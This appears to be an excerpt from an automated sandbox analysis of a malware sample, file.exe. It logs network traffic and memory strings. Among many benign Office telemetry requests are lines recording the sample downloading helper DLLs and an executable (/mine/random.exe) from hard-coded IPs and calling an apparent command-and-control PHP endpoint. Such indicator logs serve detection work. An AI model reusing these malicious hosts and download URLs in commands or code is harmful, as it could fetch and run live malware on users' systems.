Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: 76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log6.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, 00000000.00000002.2572476247.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2572476247.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exes
Source: file.exe, 00000000.00000002.2570783490.0000000000927000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllt
Source: file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllz
Source: file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllP
Source: file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllF
Source: file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlll
Source: file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllB
Source: file.exe, 00000000.00000002.2572476247.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2572476247.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dlln
Source: file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/8
Source: file.exe, 00000000.00000002.2572476247.0000000001643000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2572476247.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2572476247.0000000001632000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2570783490.0000000000927000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2604833470.0000000023B62000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2604833470.0000000023B7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2604833470.0000000023B62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php7l
Source: file.exe, 00000000.00000002.2572476247.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpPI
Source: file.exe, 00000000.00000002.2572476247.00000000015BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpU7
Source: file.exe, 00000000.00000002.2570783490.0000000000927000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2604833470.0000000023B7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp
